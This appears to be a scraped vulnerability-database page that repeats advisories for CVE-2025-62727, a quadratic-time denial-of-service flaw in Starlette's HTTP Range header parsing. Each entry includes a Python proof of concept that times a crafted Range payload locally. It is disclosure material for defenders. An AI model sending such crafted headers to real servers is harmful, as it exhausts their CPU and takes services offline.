Action not permitted
Modal body text goes here.
Modal Title
Modal Body
PYSEC-2026-1942
Vulnerability from pysec - Published: 2026-07-07 16:03 - Updated: 2026-07-07 17:25Summary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.
# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
starlette.staticfiles.StaticFiles(internally returnsFileResponse) —starlette/staticfiles.py:178- Direct
starlette.responses.FileResponseresponses
PoC
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""Build the Range header value body: '0' * num_zeros + '0-'"""
return ("0" * length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
| Name | purl | starlette | pkg:pypi/starlette |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "starlette",
"purl": "pkg:pypi/starlette"
},
"ranges": [
{
"events": [
{
"introduced": "0.39.0"
},
{
"fixed": "0.49.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.39.0",
"0.39.1",
"0.39.2",
"0.40.0",
"0.41.0",
"0.41.1",
"0.41.2",
"0.41.3",
"0.42.0",
"0.43.0",
"0.44.0",
"0.45.0",
"0.45.1",
"0.45.2",
"0.45.3",
"0.46.0",
"0.46.1",
"0.46.2",
"0.47.0",
"0.47.1",
"0.47.2",
"0.47.3",
"0.48.0",
"0.49.0"
]
}
],
"aliases": [
"CVE-2025-62727",
"GHSA-7f5h-v6xp-fcq8"
],
"details": "### Summary\nAn unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette\u0027s `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial\u2011of\u2011service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`).\n\n### Details\nStarlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm.\n\n```python\n# starlette/responses.py\n_RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS\n\nclass FileResponse(Response):\n @staticmethod\n def _parse_range_header(http_range: str, file_size: int) -\u003e list[tuple[int, int]]:\n ranges: list[tuple[int, int]] = []\n try:\n units, range_ = http_range.split(\"=\", 1)\n except ValueError:\n raise MalformedRangeHeader()\n\n # [...]\n\n ranges = [\n (\n int(_[0]) if _[0] else file_size - int(_[1]),\n int(_[1]) + 1 if _[0] and _[1] and int(_[1]) \u003c file_size else file_size,\n )\n for _ in _RANGE_PATTERN.findall(range_) # vulnerable\n if _ != (\"\", \"\")\n ]\n\n```\n\nThe parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.\n\nThe merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.\n\n This affects any Starlette application that uses:\n\n - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) \u2014 `starlette/staticfiles.py:178`\n - Direct ``starlette.responses.FileResponse`` responses\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport sys\nimport time\n\ntry:\n import starlette\n from starlette.responses import FileResponse\nexcept Exception as e:\n print(f\"[ERROR] Failed to import starlette: {e}\")\n sys.exit(1)\n\n\ndef build_payload(length: int) -\u003e str:\n \"\"\"Build the Range header value body: \u00270\u0027 * num_zeros + \u00270-\u0027\"\"\"\n return (\"0\" * length) + \"a-\"\n\n\ndef test(header: str, file_size: int) -\u003e float:\n start = time.perf_counter()\n try:\n FileResponse._parse_range_header(header, file_size)\n except Exception:\n pass\n end = time.perf_counter()\n elapsed = end - start\n return elapsed\n\n\ndef run_once(num_zeros: int) -\u003e None:\n range_body = build_payload(num_zeros)\n header = \"bytes=\" + range_body\n # Use a sufficiently large file_size so upper bounds default to file size\n file_size = max(len(range_body) + 10, 1_000_000)\n \n print(f\"[DEBUG] range_body length: {len(range_body)} bytes\")\n elapsed_time = test(header, file_size)\n print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\")\n\n\nif __name__ == \"__main__\":\n print(f\"[INFO] Starlette Version: {starlette.__version__}\")\n for n in [5000, 10000, 20000, 40000]:\n run_once(n)\n\n\"\"\"\n$ python3 poc_dos_range.py\n[INFO] Starlette Version: 0.48.0\n[DEBUG] range_body length: 5002 bytes\n[DEBUG] elapsed time: 0.053932 seconds\n\n[DEBUG] range_body length: 10002 bytes\n[DEBUG] elapsed time: 0.209770 seconds\n\n[DEBUG] range_body length: 20002 bytes\n[DEBUG] elapsed time: 0.885296 seconds\n\n[DEBUG] range_body length: 40002 bytes\n[DEBUG] elapsed time: 3.238832 seconds\n\"\"\"\n```\n\n### Impact\nAny Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.",
"id": "PYSEC-2026-1942",
"modified": "2026-07-07T17:25:25.840210Z",
"published": "2026-07-07T16:03:08.430192Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62727"
},
{
"type": "FIX",
"url": "https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5"
},
{
"type": "INTRODUCED",
"url": "https://github.com/Kludex/starlette/commit/69ed26a85956ef4bd0161807eb27abf49be7cd3c"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/starlette"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/releases/tag/0.49.1"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/starlette"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-7f5h-v6xp-fcq8"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``"
}
BREW-POCKET-TTS-CVE-2025-62727 (GHSA-7F5H-V6XP-FCQ8)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:28 – Updated: 2026-09-10 00:58 – Source websiteSummary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.
# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
starlette.staticfiles.StaticFiles(internally returnsFileResponse) —starlette/staticfiles.py:178- Direct
starlette.responses.FileResponseresponses
PoC
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""Build the Range header value body: '0' * num_zeros + '0-'"""
return ("0" * length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "starlette",
"resource_purl": "pkg:pypi/starlette@1.6.0",
"upstream_fixed_in": "0.49.1"
},
"package": {
"ecosystem": "Homebrew",
"name": "pocket-tts",
"purl": "pkg:brew/pocket-tts"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.0_3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/starlette@1.6.0",
"name": "starlette",
"resource": "starlette",
"strategy": "registry",
"subject_version": "1.6.0"
}
]
},
"details": "### Summary\nAn unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette\u0027s `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial\u2011of\u2011service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`).\n\n### Details\nStarlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm.\n\n```python\n# starlette/responses.py\n_RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS\n\nclass FileResponse(Response):\n @staticmethod\n def _parse_range_header(http_range: str, file_size: int) -\u003e list[tuple[int, int]]:\n ranges: list[tuple[int, int]] = []\n try:\n units, range_ = http_range.split(\"=\", 1)\n except ValueError:\n raise MalformedRangeHeader()\n\n # [...]\n\n ranges = [\n (\n int(_[0]) if _[0] else file_size - int(_[1]),\n int(_[1]) + 1 if _[0] and _[1] and int(_[1]) \u003c file_size else file_size,\n )\n for _ in _RANGE_PATTERN.findall(range_) # vulnerable\n if _ != (\"\", \"\")\n ]\n\n```\n\nThe parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.\n\nThe merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.\n\n This affects any Starlette application that uses:\n\n - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) \u2014 `starlette/staticfiles.py:178`\n - Direct ``starlette.responses.FileResponse`` responses\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport sys\nimport time\n\ntry:\n import starlette\n from starlette.responses import FileResponse\nexcept Exception as e:\n print(f\"[ERROR] Failed to import starlette: {e}\")\n sys.exit(1)\n\n\ndef build_payload(length: int) -\u003e str:\n \"\"\"Build the Range header value body: \u00270\u0027 * num_zeros + \u00270-\u0027\"\"\"\n return (\"0\" * length) + \"a-\"\n\n\ndef test(header: str, file_size: int) -\u003e float:\n start = time.perf_counter()\n try:\n FileResponse._parse_range_header(header, file_size)\n except Exception:\n pass\n end = time.perf_counter()\n elapsed = end - start\n return elapsed\n\n\ndef run_once(num_zeros: int) -\u003e None:\n range_body = build_payload(num_zeros)\n header = \"bytes=\" + range_body\n # Use a sufficiently large file_size so upper bounds default to file size\n file_size = max(len(range_body) + 10, 1_000_000)\n \n print(f\"[DEBUG] range_body length: {len(range_body)} bytes\")\n elapsed_time = test(header, file_size)\n print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\")\n\n\nif __name__ == \"__main__\":\n print(f\"[INFO] Starlette Version: {starlette.__version__}\")\n for n in [5000, 10000, 20000, 40000]:\n run_once(n)\n\n\"\"\"\n$ python3 poc_dos_range.py\n[INFO] Starlette Version: 0.48.0\n[DEBUG] range_body length: 5002 bytes\n[DEBUG] elapsed time: 0.053932 seconds\n\n[DEBUG] range_body length: 10002 bytes\n[DEBUG] elapsed time: 0.209770 seconds\n\n[DEBUG] range_body length: 20002 bytes\n[DEBUG] elapsed time: 0.885296 seconds\n\n[DEBUG] range_body length: 40002 bytes\n[DEBUG] elapsed time: 3.238832 seconds\n\"\"\"\n```\n\n### Impact\nAny Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.",
"id": "BREW-pocket-tts-CVE-2025-62727",
"modified": "2026-09-10T00:58:00Z",
"published": "2026-08-13T17:28:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62727"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/commit/69ed26a85956ef4bd0161807eb27abf49be7cd3c"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/starlette"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/releases/tag/0.49.1"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``",
"upstream": [
"GHSA-7f5h-v6xp-fcq8",
"CVE-2025-62727",
"PYSEC-2026-1942"
]
}
BREW-RAPID-MLX-CVE-2025-62727 (GHSA-7F5H-V6XP-FCQ8)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:32 – Updated: 2026-09-10 20:37 – Source websiteSummary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.
# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
starlette.staticfiles.StaticFiles(internally returnsFileResponse) —starlette/staticfiles.py:178- Direct
starlette.responses.FileResponseresponses
PoC
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""Build the Range header value body: '0' * num_zeros + '0-'"""
return ("0" * length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "starlette",
"resource_purl": "pkg:pypi/starlette@1.6.0",
"upstream_fixed_in": "0.49.1"
},
"package": {
"ecosystem": "Homebrew",
"name": "rapid-mlx",
"purl": "pkg:brew/rapid-mlx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.12.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/starlette@1.6.0",
"name": "starlette",
"resource": "starlette",
"strategy": "registry",
"subject_version": "1.6.0"
}
]
},
"details": "### Summary\nAn unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette\u0027s `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial\u2011of\u2011service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`).\n\n### Details\nStarlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm.\n\n```python\n# starlette/responses.py\n_RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS\n\nclass FileResponse(Response):\n @staticmethod\n def _parse_range_header(http_range: str, file_size: int) -\u003e list[tuple[int, int]]:\n ranges: list[tuple[int, int]] = []\n try:\n units, range_ = http_range.split(\"=\", 1)\n except ValueError:\n raise MalformedRangeHeader()\n\n # [...]\n\n ranges = [\n (\n int(_[0]) if _[0] else file_size - int(_[1]),\n int(_[1]) + 1 if _[0] and _[1] and int(_[1]) \u003c file_size else file_size,\n )\n for _ in _RANGE_PATTERN.findall(range_) # vulnerable\n if _ != (\"\", \"\")\n ]\n\n```\n\nThe parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.\n\nThe merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.\n\n This affects any Starlette application that uses:\n\n - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) \u2014 `starlette/staticfiles.py:178`\n - Direct ``starlette.responses.FileResponse`` responses\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport sys\nimport time\n\ntry:\n import starlette\n from starlette.responses import FileResponse\nexcept Exception as e:\n print(f\"[ERROR] Failed to import starlette: {e}\")\n sys.exit(1)\n\n\ndef build_payload(length: int) -\u003e str:\n \"\"\"Build the Range header value body: \u00270\u0027 * num_zeros + \u00270-\u0027\"\"\"\n return (\"0\" * length) + \"a-\"\n\n\ndef test(header: str, file_size: int) -\u003e float:\n start = time.perf_counter()\n try:\n FileResponse._parse_range_header(header, file_size)\n except Exception:\n pass\n end = time.perf_counter()\n elapsed = end - start\n return elapsed\n\n\ndef run_once(num_zeros: int) -\u003e None:\n range_body = build_payload(num_zeros)\n header = \"bytes=\" + range_body\n # Use a sufficiently large file_size so upper bounds default to file size\n file_size = max(len(range_body) + 10, 1_000_000)\n \n print(f\"[DEBUG] range_body length: {len(range_body)} bytes\")\n elapsed_time = test(header, file_size)\n print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\")\n\n\nif __name__ == \"__main__\":\n print(f\"[INFO] Starlette Version: {starlette.__version__}\")\n for n in [5000, 10000, 20000, 40000]:\n run_once(n)\n\n\"\"\"\n$ python3 poc_dos_range.py\n[INFO] Starlette Version: 0.48.0\n[DEBUG] range_body length: 5002 bytes\n[DEBUG] elapsed time: 0.053932 seconds\n\n[DEBUG] range_body length: 10002 bytes\n[DEBUG] elapsed time: 0.209770 seconds\n\n[DEBUG] range_body length: 20002 bytes\n[DEBUG] elapsed time: 0.885296 seconds\n\n[DEBUG] range_body length: 40002 bytes\n[DEBUG] elapsed time: 3.238832 seconds\n\"\"\"\n```\n\n### Impact\nAny Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.",
"id": "BREW-rapid-mlx-CVE-2025-62727",
"modified": "2026-09-10T20:37:33Z",
"published": "2026-08-13T17:32:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62727"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/commit/69ed26a85956ef4bd0161807eb27abf49be7cd3c"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/starlette"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/releases/tag/0.49.1"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``",
"upstream": [
"GHSA-7f5h-v6xp-fcq8",
"CVE-2025-62727",
"PYSEC-2026-1942"
]
}
BREW-SCHEMATHESIS-CVE-20… (GHSA-7F5H-V6XP-FCQ8)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:34 – Updated: 2026-09-22 00:00 – Source websiteSummary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.
# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
starlette.staticfiles.StaticFiles(internally returnsFileResponse) —starlette/staticfiles.py:178- Direct
starlette.responses.FileResponseresponses
PoC
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""Build the Range header value body: '0' * num_zeros + '0-'"""
return ("0" * length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "starlette",
"resource_purl": "pkg:pypi/starlette@1.6.0",
"upstream_fixed_in": "0.49.1"
},
"package": {
"ecosystem": "Homebrew",
"name": "schemathesis",
"purl": "pkg:brew/schemathesis"
},
"ranges": [
{
"events": [
{
"introduced": "3.36.2"
},
{
"fixed": "4.3.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/starlette@1.6.0",
"name": "starlette",
"resource": "starlette",
"strategy": "registry",
"subject_version": "1.6.0"
},
{
"ecosystem": "PyPI",
"key": "pkg:pypi/starlette@1.6.0",
